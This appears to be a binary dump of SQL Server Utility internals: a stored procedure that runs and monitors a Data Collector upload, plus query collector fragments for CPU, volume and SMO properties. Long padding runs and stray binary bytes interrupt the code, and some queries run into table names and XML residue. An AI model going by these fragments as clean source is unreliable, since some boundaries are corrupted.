!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<2	I)V09{ l8CREATE PROCEDURE [dbo].[sp_sysutility_mi_upload]
WITH EXECUTE AS OWNER
AS
BEGIN
   SET NOCOUNT ON;
   
   -- Check if the instance is enrolled
   IF ( 0 = (select [dbo].[fn_sysutility_ucp_get_instance_is_mi]()) )
   BEGIN
	  RAISERROR(37006, -1, -1)
     RETURN(1)
   END
   
   -- Check if Data Collector is enabled
   -- The following sproc will throw the correct error DC is disabled
   DECLARE @return_code INT;
   EXEC @return_code = [dbo].[sp_syscollector_verify_collector_state] @desired_state = 1
   IF (@return_code <> 0)
        RETURN (1)

   DECLARE @poll_delay_hh_mm_ss char(8)  = '00:00:10';
   DECLARE @start_delay_hh_mm_ss char(8)  = '00:00:10';
   
   DECLARE @start_time datetime2 = SYSUTCDATETIME();
   DECLARE @elapsed_time_ss INT
   
   DECLARE @collection_set_uid UNIQUEIDENTIFIER = N'ABA37A22-8039-48C6-8F8F-39BFE0A195DF';  
   DECLARE @collection_set_id INT = (SELECT collection_set_id FROM [dbo].[syscollector_collection_sets_internal]
                                    WHERE collection_set_uid = @collection_set_uid);
           
   DECLARE @is_upload_running INT;
   DECLARE @is_collection_running INT;

   -- If the collection set is running for some reason, wait for it
   -- to complete before instructing it to upload again.
   -- Assume that the collection is running before the loop starts
   SET @is_upload_running = 1;
   SET @is_collection_running = 1;
   
   -- Wait for the collection set to finish its previous execution        
   WHILE(1 = @is_collection_running OR 1 = @is_upload_running)
   BEGIN  
      -- Reset the while loop variables.  The sp will not update the values, if the collection
      -- is currently not running
      SET @is_upload_running = NULL;
      SET @is_collection_running = NULL;
      EXEC @return_code = [dbo].[sp_syscollector_get_collection_set_execution_status] 
            @collection_set_id = @collection_set_id,
            @is_collection_running = @is_collection_running OUTPUT,
            @is_upload_running = @is_upload_running OUTPUT
      IF (@@ERROR <> 0 OR @return_code <> 0) GOTO QuitWithError;

      -- Check to see if the collection is running before calling wait.
      -- It is more likely that it is not running, thus it is not optimal to wait.
      IF (1 = @is_collection_running OR 1 = @is_upload_running)
      BEGIN    
         SET @elapsed_time_ss = DATEDIFF(second, @start_time, SYSUTCDATETIME())
         RAISERROR ('Waiting for collection set to finish its previous run.  Total seconds spent waiting : %i', 0, 1, @elapsed_time_ss) WITH NOWAIT;
         WAITFOR DELAY @poll_delay_hh_mm_ss
      END

   END

   -- Grab the time before running the collection.  Use local time because later this value is used
   -- to find failures in the DC logs, which use local time.
   DECLARE @run_start_time datetime = SYSDATETIME();

   -- Start the collect and upload by invoking the run command
   RAISERROR ('Starting collection set.', 0, 1) WITH NOWAIT;
   EXEC @return_code = [msdb].[dbo].[sp_syscollector_run_collection_set] @collection_set_id = @collection_set_id
   IF (@@ERROR <> 0 OR @return_code <> 0) GOTO QuitWithError;    

   -- Allow the collection set to start
   RAISERROR ('Waiting for the collection set to kick off jobs.', 0, 1) WITH NOWAIT;
   WAITFOR DELAY @start_delay_hh_mm_ss
   
   -- Assume that the collection is running before the loop starts
   SET @is_upload_running = 1;
   SET @is_collection_running = 1;
   
   -- Wait for the collection set to finish it's previous execution        
   WHILE(1 = @is_collection_running OR 1 = @is_upload_running)
   BEGIN
      -- Reset the while loop variables.  The sp will not update the values, if the collection
      -- is currently not running
      SET @is_upload_running = NULL;
      SET @is_collection_running = NULL;
      
      -- Go ahead and wait on entry to the loop because it takes a 
      -- while for the collection set to finish collection
      SET @elapsed_time_ss = DATEDIFF(second, @start_time, SYSUTCDATETIME())
      RAISERROR ('Waiting for collection set to finish its previous run.  Total seconds spent waiting : %i', 0, 1, @elapsed_time_ss) WITH NOWAIT;
      WAITFOR DELAY @poll_delay_hh_mm_ss

      EXEC @return_code = [dbo].[sp_syscollector_get_collection_set_execution_status] 
            @collection_set_id = @collection_set_id,
            @is_collection_running = @is_collection_running OUTPUT,
            @is_upload_running = @is_upload_running OUTPUT
      IF (@@ERROR <> 0 OR @return_code <> 0) GOTO QuitWithError;
   END
   
   DECLARE @status_failure smallint = 2
   DECLARE @last_reported_status smallint = NULL
   
   -- Check if the collect/upload failed anytime after the call to run
   -- This is not precise in finding our exact run, but most of the time it will find our run
   -- What we really need to know is if the collect/upload failed
   -- There is a possibility that there are false positives (report failure, when our call to run passed)
   -- However, we are willing to risk it for simplicity.
   SELECT TOP 1 @last_reported_status = status 
   FROM msdb.dbo.syscollector_execution_log_internal 
      WHERE collection_set_id = @collection_set_id 
      AND parent_log_id IS NULL
      AND finish_time IS NOT NULL   
      AND start_time >= @run_start_time
      ORDER BY finish_time DESC

    IF (@last_reported_status = @status_failure)
    BEGIN
        RAISERROR(37007, -1, -1)
        RETURN(1) -- Failure
    END

   Return(0);
    
   QuitWithError:
      RAISERROR ('An error occurred during execution.', 0, 1) WITH NOWAIT;
      RETURN (1);
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
ZcI	(^8!!!!`IɤHvP0TSQLQueryCollectorDataCollectorTypensxmlns:nsDataCollectorTypeQueryValue\
         EXEC [msdb].[dbo].[sp_sysutility_mi_get_dac_execution_statistics_internal];
      OutputTable:sysutility_ucp_dac_collected_execution_statistics_internal
      -- Check for the existance of the temp table.  If it is there, then the Utility is
      -- set up correctly.  If it is not there, do not fail the upload.  This handles the
      -- case when a user might run the collection set out-of-band from the Utility.
      -- The data may not be staged, but no sporratic errors should occur
      DECLARE @batch_time datetimeoffset(7) = SYSDATETIMEOFFSET()
      IF OBJECT_ID ('[tempdb].[dbo].[sysutility_batch_time_internal]') IS NOT NULL
      BEGIN
          SELECT @batch_time = latest_batch_time FROM tempdb.dbo.sysutility_batch_time_internal
      END
      SELECT 
         [server_instance_name],
         CAST(clustered_check.is_clustered_server AS SMALLINT) AS [is_clustered_server], 
         [virtual_server_name],
         [physical_server_name],
         [num_processors],
         [computer_processor_usage_percentage]  AS [server_processor_usage],
         [instance_processor_usage_percentage]  AS [instance_processor_usage],
         [cpu_name],
           [cpu_caption],
         [msdb].[dbo].[fn_sysutility_mi_get_cpu_family_name](cpu_family_id) AS [cpu_family],
         [msdb].[dbo].[fn_sysutility_mi_get_cpu_architecture_name](cpu_architecture_id) AS [cpu_architecture],
         [cpu_max_clock_speed],
         [cpu_clock_speed],
         [l2_cache_size],
         [l3_cache_size], 
         @batch_time AS [batch_time]
         FROM [msdb].[dbo].[sysutility_mi_cpu_stage_internal],
           (SELECT TOP 1 CAST (CASE WHEN COUNT(*) = 0 THEN 0 ELSE 1 END AS bit) AS is_clustered_server
            FROM msdb.sys.dm_os_cluster_nodes 
            WHERE NodeName = SERVERPROPERTY('ComputerNamePhysicalNetBIOS')) AS clustered_check
      1sysutility_ucp_cpu_memory_configurations_internal
         -- Check for the existance of the temp table.  If it is there, then the Utility is
         -- set up correctly.  If it is not there, do not fail the upload.  This handles the
         -- case when a user might run the collection set out-of-band from the Utility.
         -- The data may not be staged, but no sporratic errors should occur
         DECLARE @batch_time datetimeoffset(7) = SYSDATETIMEOFFSET()
         IF OBJECT_ID ('[tempdb].[dbo].[sysutility_batch_time_internal]') IS NOT NULL
         BEGIN
             SELECT @batch_time = latest_batch_time FROM tempdb.dbo.sysutility_batch_time_internal
         END
         SELECT 
            [volume_device_id],
            [volume_name],
            CAST([capacity_mb] AS REAL)   AS [total_space_available],
            CAST([free_space_mb] AS REAL) AS [free_space],
            [virtual_server_name],
            [physical_server_name],
            [server_instance_name], 
            @batch_time AS [batch_time]
         FROM [msdb].[dbo].[sysutility_mi_volumes_stage_internal]
      sysutility_ucp_volumes_internal
      -- Check for the existance of the temp table.  If it is there, then the Utility is
      -- set up correctly.  If it is not there, do not fail the upload.  This handles the
      -- case when a user might run the collection set out-of-band from the Utility.
      -- The data may not be staged, but no sporratic errors should occur
      DECLARE @batch_time datetimeoffset(7) = SYSDATETIMEOFFSET()
      IF OBJECT_ID ('[tempdb].[dbo].[sysutility_batch_time_internal]') IS NOT NULL
      BEGIN
          SELECT @batch_time = latest_batch_time FROM tempdb.dbo.sysutility_batch_time_internal
      END
      
      SELECT 
         smo.[physical_server_name],
         smo.[server_instance_name],
         [object_type],
         [urn],
         [property_name],
         -- DC (SSIS, really) does not support sql_variant.  It will implicitly convert all variant columns to nvarchar(256), 
  
!!!!!!!!!!!!!!!!!!!!!!!!`~INHP0       -- which can cause data loss.  To avoid this we explicitly convert to nvarchar(4000) so that nothing gets truncated. 
         -- On the UCP, we reverse this conversion in sp_copy_live_table_data_into_cache_tables.  In order to round-trip the 
         -- data through nvarchar successfully, we must use the same language-independent conversion style on MI and UCP. We 
         -- use the shared fn_sysutility_get_culture_invariant_conversion_style_internal function to get a consistent 
         -- language-independent conversion style for each property data type.  (References: VSTS 361531, 359504, 12967)
         CONVERT 
         (
            nvarchar(4000), 
            CASE [property_name] 
               WHEN N'ProcessorUsage' -- Hijack the ProcessorUsage property and insert our own value
               THEN CAST(cpu.[instance_processor_usage_percentage] AS INT)  -- loss of decimal places
               ELSE [property_value] 
            END, 
            msdb.dbo.fn_sysutility_get_culture_invariant_conversion_style_internal(CONVERT (varchar(30), SQL_VARIANT_PROPERTY (property_value, 'BaseType'))) 
         ) AS [property_value], 
         @batch_time AS [batch_time]
      FROM [msdb].[dbo].[sysutility_mi_smo_stage_internal] AS smo
      INNER JOIN [msdb].[dbo].[sysutility_mi_cpu_stage_internal] AS cpu 
         ON smo.[server_instance_name] = cpu.[server_instance_name]
      &sysutility_ucp_smo_properties_internal, Query to collect/upload the batch manifest 
        -- Check for the existance of the temp table.  If it is there, then the Utility is
        -- set up correctly.  If it is not there, do not fail the upload.  This handles the
        -- case when a user might run the collection set out-of-band from the Utility.
        -- The data may not be staged, but no sporratic errors should occur
        DECLARE @batch_time datetimeoffset(7) = SYSDATETIMEOFFSET()
        IF OBJECT_ID ('[tempdb].[dbo].[sysutility_batch_time_internal]') IS NOT NULL
        BEGIN
          SELECT @batch_time = latest_batch_time FROM tempdb.dbo.sysutility_batch_time_internal
        END 
        SELECT CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName')) AS [server_instance_name],
            @batch_time AS [batch_time],
            bm.parameter_name,
            bm.parameter_value
        FROM [msdb].[dbo].[fn_sysutility_mi_get_batch_manifest]() bm  
    'sysutility_ucp_batch_manifests_internal
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`d.JVG'0pUtility
pComputer
pVolume
pInstance
pDatabase
p!FileGroup
pDataFile
pLogFile
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!